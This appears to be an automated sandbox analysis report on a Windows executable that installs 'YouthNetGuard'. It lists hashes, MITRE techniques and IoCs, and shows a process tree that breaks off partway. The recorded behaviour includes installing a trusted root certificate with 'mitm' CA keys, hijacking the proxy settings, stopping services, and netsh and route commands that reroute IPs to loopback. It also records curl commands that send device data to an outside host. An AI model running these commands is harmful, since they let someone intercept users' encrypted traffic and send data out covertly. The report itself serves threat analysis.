7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671

Analysis

max time kernel
65s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Size 663KB
Sample260805-ryqevabf68
SHA256 7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671
MD5 ff9d478d616b60b9f3bbba53b1d2716e
SHA1 fbaa361cb4f57a6dfbfb24f1c097173ab2299379
SHA512 eb575d2c3dcb6e8e30d8020e40743c18810384386dcb0b396fc400712a22d61e10ea16ef2ef9d18c586852a774132ed1c509f73d99c8d556d2907701712f3269
SSDEEP 12288:abaxAOIs3x/dtA6thplycFk8IqUqpL2BljULdUGpLk:aOKOIAPtA6tbcy4X0EayGpLk
TLSH
T17DE46C26979402BCE0B7C27ACE868D52F772780B07B16ADF079049A25F775E44E3A713
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion execution persistence privilege_escalation spyware trojan

Malware Config

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files\YouthNetGuard\mitm\ca.key.pem.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\ca.key.pem.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\device_id.txt.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\redirect.txt.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\mitm\ca.crt.pem.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\ca.crt.pem.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\certs\parent-ca.cer	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\parent_ca.thumb.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5488	sc.exe
4592	sc.exe
564	sc.exe
5944	sc.exe
3008	sc.exe
5936	sc.exe
4436	sc.exe
1444	sc.exe
4176	sc.exe
5952	sc.exe
4920	sc.exe
5216	sc.exe
4524	sc.exe
5652	sc.exe
296	sc.exe
4200	sc.exe
4380	sc.exe
784	sc.exe
3680	sc.exe
3044	sc.exe
4612	sc.exe
1160	sc.exe
5808	sc.exe
424	sc.exe
1836	sc.exe
3512	sc.exe
2976	sc.exe
2772	sc.exe
5432	sc.exe
2076	sc.exe
456	sc.exe
4192	sc.exe
5808	sc.exe
1100	sc.exe
6112	sc.exe
4472	sc.exe
5192	sc.exe
840	sc.exe
2072	sc.exe
5488	sc.exe
2964	sc.exe
1296	sc.exe
1816	sc.exe
2348	sc.exe
5432	sc.exe
3252	sc.exe
2812	sc.exe
3036	sc.exe
5060	sc.exe
1620	sc.exe
3400	sc.exe
6112	sc.exe
2196	sc.exe
2972	sc.exe
4080	sc.exe
5868	sc.exe
2164	sc.exe
5600	sc.exe
596	sc.exe
5828	sc.exe
1992	sc.exe
4168	sc.exe
2540	sc.exe
4280	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DDD35AAE9CFC7B7CFB1E40DED919A9DB5D3616C7\Blob = 030000000100000014000000ddd35aae9cfc7b7cfb1e40ded919a9db5d3616c720000000010000001703000030820313308201fba003020102021075a7503271a65b9b47f0db53376b61fd300d06092a864886f70d01010b050030223120301e06035504030c17596f7574684e6574477561726420506172656e74204341301e170d3236303732303139303334315a170d3336303732303139313334315a30223120301e06035504030c17596f7574684e6574477561726420506172656e7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100cc51552dad42375cafdf010a8ad7f3bcbd087b88ed236ec71ae0f0bd81db3054f629e467c420ad60eede951f80308245f88db8252439743edf2f240d5ab2f32088fc7b0f66f775f5adf25b11c9c98dd47307a5f5bf25e3e3aa6bb250336dfc341954e4fa11cb44f0104260a65173405bc5028b39f39db38eea148e0d2ef985c3055873cd9edbfff619ab12d5811f37da8566533708482eecf3da7be37789de0a9e1601a9d3e84c713ab93f62fe87d7f34e4158bbef3495e000b9b9f6350b33b0970ecc8d129b31856c73b68fda0cfac6b30674f31b00a9d3019e291679432d728bc47939a97d4b38c75988852bcb4dcd5dea3f2d9b0bc53008697ad05856a53d0203010001a3453043300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d0e041604145d256cd1d115497ea8d1ef33ac1d3e31834f5077300d06092a864886f70d01010b05000382010100a9c2354588cca8cfba7946a90821b41044e7ab82e2cfbb566fdcb96b680b977120e6f0d76a1d3325aaf93f72db068285636f4820987ae09eace583360c6c15af489b44d75f68ac3ef6d61ab858b7c57219e9a81fb4fd156826c847e75365d0ef8c78c9e164452914f8e312da4d6dc31ae44aee50a5526f3db8c29ed463e5994023e7fd84a0e563150b78ba14093c3a77830dcb0bf31b6835e21d062d416c28adcfefa1548d5899bbd4a70cbc1f1afabb62a7d861cd37780e990e992251b49d5f471955714daa494b427d5944f619842121c32ec8c485711d836bd1ac424c4b30a5d3c916d67700be03cbf98d76a1f1cf5ac8e3809c54001a77900bff3afe80ff	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Modifies data under HKEY_USERS 21 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=78"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=78"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=78"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DDD35AAE9CFC7B7CFB1E40DED919A9DB5D3616C7	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3496	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5948 wrote to memory of 5588	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	89
PID 5948 wrote to memory of 3920	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	91
PID 5948 wrote to memory of 2492	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	93
PID 5948 wrote to memory of 4216	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	95
PID 5948 wrote to memory of 840	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	97
PID 5948 wrote to memory of 2724	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	99
PID 5948 wrote to memory of 3124	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	101
PID 5948 wrote to memory of 5408	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	103
PID 5948 wrote to memory of 4692	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	105
PID 5948 wrote to memory of 4632	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	107
PID 5948 wrote to memory of 1256	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	109
PID 5948 wrote to memory of 1376	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	111
PID 5948 wrote to memory of 5868	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	113
PID 5948 wrote to memory of 2256	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	115
PID 5948 wrote to memory of 596	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	117
PID 5948 wrote to memory of 4196	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	119
PID 5948 wrote to memory of 972	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	199
PID 5948 wrote to memory of 4788	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	123
PID 5948 wrote to memory of 844	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	203
PID 5948 wrote to memory of 5928	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	127
PID 5948 wrote to memory of 4516	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	129
PID 5948 wrote to memory of 3724	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	209
PID 5948 wrote to memory of 5060	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	133
PID 5948 wrote to memory of 1492	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	135
PID 5948 wrote to memory of 828	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	137
PID 5948 wrote to memory of 6000	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	139
PID 5948 wrote to memory of 2436	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	141
PID 5948 wrote to memory of 3428	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	143
PID 5948 wrote to memory of 3408	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	222
PID 5948 wrote to memory of 5316	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	147
PID 5948 wrote to memory of 3168	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	149
PID 5948 wrote to memory of 260	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	151
PID 5948 wrote to memory of 5876	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	153
PID 5948 wrote to memory of 5880	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	233
PID 5948 wrote to memory of 2804	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	313
PID 5948 wrote to memory of 2072	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	159
PID 5948 wrote to memory of 3584	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	317
PID 5948 wrote to memory of 5636	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	163
PID 5948 wrote to memory of 3224	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	165
PID 5948 wrote to memory of 5624	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	167
PID 5948 wrote to memory of 1504	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	169
PID 5948 wrote to memory of 1768	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	324
PID 5948 wrote to memory of 3304	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	327
PID 5948 wrote to memory of 3664	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	329
PID 5948 wrote to memory of 2304	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	177
PID 5948 wrote to memory of 1444	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	179
PID 5948 wrote to memory of 2676	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	181
PID 5948 wrote to memory of 1944	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	336
PID 5948 wrote to memory of 5584	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	185
PID 5948 wrote to memory of 5656	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	341
PID 5948 wrote to memory of 1888	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	189
PID 5948 wrote to memory of 2240	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	191
PID 5948 wrote to memory of 2092	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	193
PID 5948 wrote to memory of 4064	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	195
PID 5948 wrote to memory of 4176	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	198
PID 5948 wrote to memory of 1792	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	200
PID 5948 wrote to memory of 4484	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	433
PID 5948 wrote to memory of 5608	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	437
PID 5948 wrote to memory of 5660	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	206
PID 5948 wrote to memory of 5620	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	445
PID 5948 wrote to memory of 3396	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	444
PID 5948 wrote to memory of 4568	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	212
PID 5948 wrote to memory of 2524	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	368
PID 5948 wrote to memory of 1828	5948	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	295

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	8	curl/8.8.0
HTTP User-Agent header	9	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
"C:\Users\Admin\AppData\Local\Temp\7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe"
1⤵
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5948
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 15 --connect-timeout 10 -X POST -H "Content-Type: application/json" --data-binary "@C:\Users\Admin\AppData\Local\Temp\yng-admin-5948-240749484.json" "https://www.56789tl.com/api/device/register"
  2⤵
  PID:5588
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 25 --connect-timeout 10 "https://www.56789tl.com/api/policy?device_id=6f1b8d988c0ce9bc2a3345f33acfc137&version=0&force=1"
  2⤵
  PID:3920
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 set interface "Loopback Pseudo-Interface 1" weakhostsend=enabled weakhostreceive=enabled
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2492
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 101.36.223.81 255.255.255.255
  2⤵
  PID:4216
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 101.36.223.81
  2⤵
  PID:840
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 101.36.223.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2724
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.132.234.124 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3124
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.132.234.124
  2⤵
  PID:5408
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.132.234.124 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4692
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.206 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4632
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.192.209.206
  2⤵
  PID:1256
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.192.209.206 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1376
- C:\Windows\SYSTEM32\netsh.exe
